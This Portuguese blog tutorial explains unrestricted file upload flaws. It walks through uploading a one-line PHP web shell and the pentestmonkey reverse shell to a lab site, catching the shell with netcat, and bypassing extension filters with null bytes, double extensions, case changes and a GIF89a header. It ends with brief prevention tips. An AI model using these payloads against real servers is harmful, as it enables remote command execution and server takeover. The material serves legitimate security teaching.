Unrestricted File Upload — Entendendo o que é, Como explorar, Tipos de Bypass e Como Prevenir a…

3 years ago 247
BOOK THIS SPACE FOR AD
ARTICLE AD

Gabriel Lima

Olá a todos, hoje iremos falar sobre uma falha muito conhecida que é o Unrestricted file upload (Upload de arquivo irrestrito), essa falha pode ser muito perigosa pois conseguimos executar comandos remotos (RCE) no servidor e até mesmo pegar uma shell, então vamos começar!

Muitos sites existem uma área para você colocar sua foto de perfil, compartilhar uma foto e por ai vai, mas o que acontece é que os desenvolvedores fazem tratamentos básicos ou até mesmo esquecem de faze-los, possibilitando o upload de um arquivo malicioso que será executado pelo servidor.

Client-side

Quando a aplicação utiliza validação pelo lado do cliente (Client-side), todas as entradas de dados do usuário são validadas pelo próprio navegador do usuário. Com essas informações sabemos que a validação dos dados são feitas a partir de atributos do JavaScript ou do HTML5.

Server-side

Agora falando do lado do servidor (Server-side) as entradas enviadas pelo usuário serão validadas no servidor por linguagens no back-end, exemplo delas são o PHP, Asp.net e etc.

O que precisamos de primeiro momento é localizar um campo de upload, isso varia muito de site para site, mas geralmente na página “Meu Perfil” temos um campo de upload para trocar nossa foto.

Obs: Gostaria de agradecer ao Carlos (Kadu) da crowsec por disponibilizar o 1° lab para caso de exploração.

Caso de Exploração 1 —Web Shell

Imagem inicial do site.

Aqui temos uma tela para upload de imagem, então nesse momento podemos começar os testes criando um arquivo malicioso .php para nos fornecer uma RCE (Execução de códigos remotos) ou pegar uma reverse shell.

Para iniciar iremos criar um arquivo .php para colocar o código malicioso.

touch fotoDuvidosa.php

Então temos que escrever um código malicioso dentro deste arquivo, você pode utilizar qualquer editor de texto (nano, vim e etc).

Código no arquivo .php<?php
system($_GET['cmd']);
?>

<?php ?>: Abertura e fechamento padrão de um arquivo PHP.
system(): Função system do PHP, responsável por permitir a execução dos códigos.
$_GET: Estamos declarando que o parâmetro vai ser via método GET.
[‘cmd’]: Nossa variável que vai ser chamada via GET para execução de código.

Ao terminar a edição do arquivo vamos retornar ao site e selecionar o mesmo para ser upado.

Selecionando uma imagem para ser upada.

Logo após enviar a foto o site nos retornou esta mensagem:

Site confirmando o Upload.

Conseguimos fazer o upload com sucesso, agora para localizar a imagem temos que fazer o seguinte:

Clicamos na mesma com o botão direito e clicamos em copiar localização da imagem.

Pegando o caminho da imagem.

Obs: No site a nossa “imagem” aparece assim quebrada pois nos não enviamos uma imagem e sim um arquivo .php.

Para finalizar basta utilizar o parâmetro via GET para execução de comando remoto.

Testando execução de código.

A partir deste momento conseguimos executar comandos no servidor e até mesmo pegar uma reverse shell.

Caso de exploração 2 (Filtro básico) — Reverse Shell

Imagem inicial.

Na imagem acima temos um campo de upload com um botão de envio e um para selecionar imagem.

Para este caso criaremos uma reverse shell, irei baixar uma muito famosa do pentest monkey utilizando este comando:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Obs: No kali linux esta shell se localiza em /usr/share/webshells/php/php-reverse-shell.php

Após ter baixado com sucesso irei editar duas linhas de código para definir qual é o IP e PORTA a receber a conexão.

nano php-reverse-shell.php

Alterando IP e PORT.

Agora temos que selecionar nosso arquivo malicioso com .php.

Arquivo selecionado para upload.

Ao clicar em upload temos esse resultado:

Erro de upload.

Temos a resposta do servidor dizendo que arquivos .php não são permitidos, então temos que burlar, ou melhor dizendo, fazer um bypass nesse upload para que o arquivo seja upado.

O que faremos nesse momento é trocar a extensão do arquivo de .php para .php5, faremos isso por que o servidor alvo é feito em PHP e podemos imaginar que o filtro esteja apenas barrando arquivos com .php.

Selecionando arquivo com extensão alterada.

Ao clicar em upload recebemos isso do servidor:

Servidor respondendo com sucesso.

Conseguimos fazer o bypass com sucesso, mas antes de clicar em “Veja!” para nos redirecionar ao arquivo upado, temos que subir nosso netcat para pegar a reverse com sucesso!

nc ouvindo na porta 1234.

nc: Netcat é a ferramenta utilizada.
-l: Estamos avisando que a porta vai estar ouvindo qualquer conexão (Listen).
v: Ativamos o modo verbose.
p: Passamos uma porta (Port).

Ao clicar em “Veja!” recebemos isso em nossa shell:

Conseguimos concluir o segundo caso com sucesso :D

WoP WoP

Adicionando Caracteres Especiais no Final

arquivo.php%20
arquivo.php%0a
arquivo.php%00
arquivo.php%0d%0a
arquivo.php/
arquivo.php.\
arquivo.
arquivo.php….
arquivo.pHp5….

Adicionando extensão valida

Esse bypass consiste em colocar uma extensão valida antes da extensão maliciosa.

arquivo.png.php
arquivo.png.Php5

GIF89a;

Adicionando “GIF89a;” antes da nossa payload estamos enganando o servidor fazendo uma alteração de cabeçalho. Normalmente, se uma função de upload aceita imagens ela também aceitará arquivos GIF. Sendo assim, podemos adicionar “GIF89a;” ao início do shell para enganar o upload:

GIF89a;
<?
system($_GET['cmd']);
?>

Usando Null Byte

A injeção de bytes nulos é uma técnica para contornar os filtros de verificação de integridade na infraestrutura, adicionando caracteres de bytes nulos codificados por injeção de bytes nulos (ou seja,% 00 ou 0x00 em hexadecimal) aos dados fornecidos pelo usuário.

arquivo.php%00.jpg

Letras Maiúsculas e Minúsculas

Certos tipos de filtros bloqueiam XSS se ele for escrito tudo em minúsculo ou tudo em minúsculo, o mesmo serve para esta falha.

arquivo.jPg
arquivo.SvG
arquivo.asP
arquivo.Php

Content-Type

A função do Conten-Type é validar o conteudo do arquivo e verificar o tipo MIME (Extensões Multi função para Mensagens de Internet) do mesmo (ele aparece na requisição HTTP).

Demostrando o Content-Type.

Recomendo que veja meu ultimo artigo para mais informações sobre este tipo de bypass.

Testando Outras Extensões

Esse bypass é igual ao nosso segundo caso de estudo onde apenas tentamos subir a payload com outra extensão.

php: phtml, .php, .php3, .php4, .php5, and .inc
asp: asp, .aspx
perl: .pl, .pm, .cgi, .lib
jsp: .jsp, .jspx, .jsw, .jsv, and .jspf
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Permita somente alguns tipos de extensão (.gif, .jpeg, .png e etc).Defina o um tamanho máximo que uma imagem pode ter para ser upada.NUNCA exiba o caminho do arquivo enviado.Permita que apenas pessoas autorizadas possam ver as imagens upadas.

RootMe: Essa é uma máquina gratuita do tryhackme que tem como falha principal a abordada neste artigo, ela é bem simples e divertida de se fazer.

Passage: Para esta máquina existem duas formas de completá-la, uma é com exploit e a outra você consegue pelas técnicas que foram apresentadas neste artigo, infelizmente ela é uma maquina retirada do HTB, então você precisa ser VIP para jogar.

Então pessoal, espero que tenham gostado deste artigo que explica mais a fundo como funciona a falha de Unrestricted File Upload e espero também ter agregado em seu conhecimento :D

Caso você queira me ajudar e ficar por dentro de quando algum artigo vai ser postado basta me seguir no instagram @gabriel_lima_232.

Para finalizar estarei deixando meu código promocional da Digital Ocean de US$100 dólares por 2 meses, assim você pode testar, ver como funciona uma VPS e me ajudar.

Gostaria de agradecer mais uma vez a crowsec e ao kadu por ter autorizado e disponibilizado o lab trabalhado neste artigo.

Read Entire Article